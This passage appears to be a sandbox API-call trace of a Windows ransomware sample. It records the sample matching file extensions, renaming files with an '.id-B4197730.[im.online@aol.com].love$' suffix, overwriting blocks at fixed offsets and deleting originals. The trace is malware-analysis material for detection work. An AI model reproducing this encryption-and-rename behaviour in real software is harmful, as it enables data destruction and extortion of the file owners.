lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.615] WriteFile (in: hFile=0x368, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf4, lpOverlapped=0x0) returned 1 [0106.616] SetEndOfFile (hFile=0x368) returned 1 [0106.616] CloseHandle (hObject=0x368) returned 1 [0106.619] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.619] SetEndOfFile (hFile=0x370) returned 1 [0106.620] CloseHandle (hObject=0x370) returned 1 [0106.621] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0106.621] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0106.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.621] lstrlenW (lpString=".doc") returned 4 [0106.621] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0106.621] lstrlenW (lpString=".docx") returned 5 [0106.621] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0106.621] lstrlenW (lpString=".pdf") returned 4 [0106.621] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0106.621] lstrlenW (lpString=".xls") returned 4 [0106.621] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0106.621] lstrlenW (lpString=".xlsx") returned 5 [0106.622] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0106.622] lstrlenW (lpString=".ppt") returned 4 [0106.622] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0106.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.622] lstrlenW (lpString=".zip") returned 4 [0106.622] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0106.622] lstrlenW (lpString=".rar") returned 4 [0106.622] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0106.622] lstrlenW (lpString=".bz2") returned 4 [0106.622] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0106.622] lstrlenW (lpString=".7z") returned 3 [0106.622] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0106.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.622] lstrlenW (lpString=".dbf") returned 4 [0106.622] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0106.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.622] lstrlenW (lpString=".1cd") returned 4 [0106.622] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0106.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.622] lstrlenW (lpString=".jpg") returned 4 [0106.622] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0106.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.622] lstrlenW (lpString=".doc") returned 4 [0106.622] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0106.622] lstrlenW (lpString=".docx") returned 5 [0106.622] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0106.622] lstrlenW (lpString=".pdf") returned 4 [0106.622] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0106.622] lstrlenW (lpString=".xls") returned 4 [0106.622] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0106.622] lstrlenW (lpString=".xlsx") returned 5 [0106.622] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0106.622] lstrlenW (lpString=".ppt") returned 4 [0106.622] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0106.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.623] lstrlenW (lpString=".zip") returned 4 [0106.623] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0106.623] lstrlenW (lpString=".rar") returned 4 [0106.623] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0106.623] lstrlenW (lpString=".bz2") returned 4 [0106.623] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0106.623] lstrlenW (lpString=".7z") returned 3 [0106.623] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0106.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.623] lstrlenW (lpString=".dbf") returned 4 [0106.623] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0106.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.623] lstrlenW (lpString=".1cd") returned 4 [0106.623] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0106.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0106.623] lstrlenW (lpString=".jpg") returned 4 [0106.623] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0106.623] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0106.623] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0106.623] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0106.623] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2192672) returned 1 [0106.624] CloseHandle (hObject=0x370) returned 1 [0106.624] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0106.624] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.624] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[im.online@aol.com].love$")) returned 1 [0106.624] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0106.624] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc64 | out: lpNewFilePointer=0x0) returned 1 [0106.624] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0106.625] ReadFile (in: hFile=0x370, lpBuffer=0x36e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x36e8058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0106.716] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0106.716] ReadFile (in: hFile=0x370, lpBuffer=0x3728058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3728058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0106.726] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.726] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0106.726] ReadFile (in: hFile=0x370, lpBuffer=0x3768058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3768058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.724] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.724] WriteFile (in: hFile=0x370, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2bdfca8, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0107.742] SetEndOfFile (hFile=0x370) returned 1 [0107.742] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f53eb8 [0107.749] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0107.749] WriteFile (in: hFile=0x370, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.751] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0107.751] WriteFile (in: hFile=0x370, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.754] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0107.754] WriteFile (in: hFile=0x370, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.756] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f53eb8 | out: hHeap=0x4b0000) returned 1 [0107.759] CloseHandle (hObject=0x370) returned 1 [0109.222] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0109.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.223] lstrlenW (lpString=".doc") returned 4 [0109.223] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0109.223] lstrlenW (lpString=".docx") returned 5 [0109.223] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0109.223] lstrlenW (lpString=".pdf") returned 4 [0109.223] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0109.223] lstrlenW (lpString=".xls") returned 4 [0109.223] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0109.223] lstrlenW (lpString=".xlsx") returned 5 [0109.223] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0109.223] lstrlenW (lpString=".ppt") returned 4 [0109.223] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0109.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.223] lstrlenW (lpString=".zip") returned 4 [0109.223] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0109.223] lstrlenW (lpString=".rar") returned 4 [0109.223] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0109.223] lstrlenW (lpString=".bz2") returned 4 [0109.224] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0109.224] lstrlenW (lpString=".7z") returned 3 [0109.224] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0109.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.224] lstrlenW (lpString=".dbf") returned 4 [0109.224] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0109.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.224] lstrlenW (lpString=".1cd") returned 4 [0109.224] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0109.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.224] lstrlenW (lpString=".jpg") returned 4 [0109.224] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0109.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.224] lstrlenW (lpString=".doc") returned 4 [0109.224] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0109.224] lstrlenW (lpString=".docx") returned 5 [0109.224] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0109.224] lstrlenW (lpString=".pdf") returned 4 [0109.224] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0109.224] lstrlenW (lpString=".xls") returned 4 [0109.224] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0109.224] lstrlenW (lpString=".xlsx") returned 5 [0109.224] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0109.224] lstrlenW (lpString=".ppt") returned 4 [0109.224] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0109.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.225] lstrlenW (lpString=".zip") returned 4 [0109.225] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0109.225] lstrlenW (lpString=".rar") returned 4 [0109.225] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0109.225] lstrlenW (lpString=".bz2") returned 4 [0109.225] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0109.225] lstrlenW (lpString=".7z") returned 3 [0109.225] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0109.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.225] lstrlenW (lpString=".dbf") returned 4 [0109.225] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0109.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.225] lstrlenW (lpString=".1cd") returned 4 [0109.225] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0109.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0109.225] lstrlenW (lpString=".jpg") returned 4 [0109.225] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0109.225] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0109.225] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0109.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0109.227] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2141433) returned 1 [0109.227] CloseHandle (hObject=0x370) returned 1 [0109.227] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0109.227] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0109.227] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[im.online@aol.com].love$")) returned 1 [0109.228] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0109.228] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc64 | out: lpNewFilePointer=0x0) returned 1 [0109.228] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0109.228] ReadFile (in: hFile=0x370, lpBuffer=0x36e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x36e8058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0109.236] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0109.236] ReadFile (in: hFile=0x370, lpBuffer=0x3728058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3728058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0109.243] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.243] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0109.243] ReadFile (in: hFile=0x370, lpBuffer=0x3768058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3768058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0109.663] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0109.663] WriteFile (in: hFile=0x370, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2bdfca8, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0109.686] SetEndOfFile (hFile=0x370) returned 1 [0109.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f33ea8 [0109.687] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0109.687] WriteFile (in: hFile=0x370, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0109.689] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0109.689] WriteFile (in: hFile=0x370, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0109.692] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0109.692] WriteFile (in: hFile=0x370, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0109.695] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0110.148] CloseHandle (hObject=0x370) returned 1 [0112.213] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0112.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.213] lstrlenW (lpString=".doc") returned 4 [0112.214] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0112.214] lstrlenW (lpString=".docx") returned 5 [0112.214] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0112.214] lstrlenW (lpString=".pdf") returned 4 [0112.214] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0112.214] lstrlenW (lpString=".xls") returned 4 [0112.214] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0112.214] lstrlenW (lpString=".xlsx") returned 5 [0112.214] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0112.214] lstrlenW (lpString=".ppt") returned 4 [0112.214] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0112.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.214] lstrlenW (lpString=".zip") returned 4 [0112.214] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0112.214] lstrlenW (lpString=".rar") returned 4 [0112.214] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0112.214] lstrlenW (lpString=".bz2") returned 4 [0112.214] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0112.214] lstrlenW (lpString=".7z") returned 3 [0112.214] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0112.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.214] lstrlenW (lpString=".dbf") returned 4 [0112.214] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0112.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.214] lstrlenW (lpString=".1cd") returned 4 [0112.214] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0112.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.214] lstrlenW (lpString=".jpg") returned 4 [0112.215] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0112.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.215] lstrlenW (lpString=".doc") returned 4 [0112.215] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0112.215] lstrlenW (lpString=".docx") returned 5 [0112.215] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0112.215] lstrlenW (lpString=".pdf") returned 4 [0112.215] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0112.215] lstrlenW (lpString=".xls") returned 4 [0112.215] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0112.215] lstrlenW (lpString=".xlsx") returned 5 [0112.215] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0112.215] lstrlenW (lpString=".ppt") returned 4 [0112.215] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0112.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.215] lstrlenW (lpString=".zip") returned 4 [0112.215] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0112.215] lstrlenW (lpString=".rar") returned 4 [0112.215] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0112.215] lstrlenW (lpString=".bz2") returned 4 [0112.215] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0112.215] lstrlenW (lpString=".7z") returned 3 [0112.215] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0112.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.216] lstrlenW (lpString=".dbf") returned 4 [0112.216] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0112.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.216] lstrlenW (lpString=".1cd") returned 4 [0112.216] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0112.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0112.216] lstrlenW (lpString=".jpg") returned 4 [0112.216] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0112.216] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0112.216] lstrlenW (lpString="HardwareEvents.evtx") returned 19 [0112.216] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0112.286] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0112.286] CloseHandle (hObject=0x37c) returned 1 [0112.286] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0112.286] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.286] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, 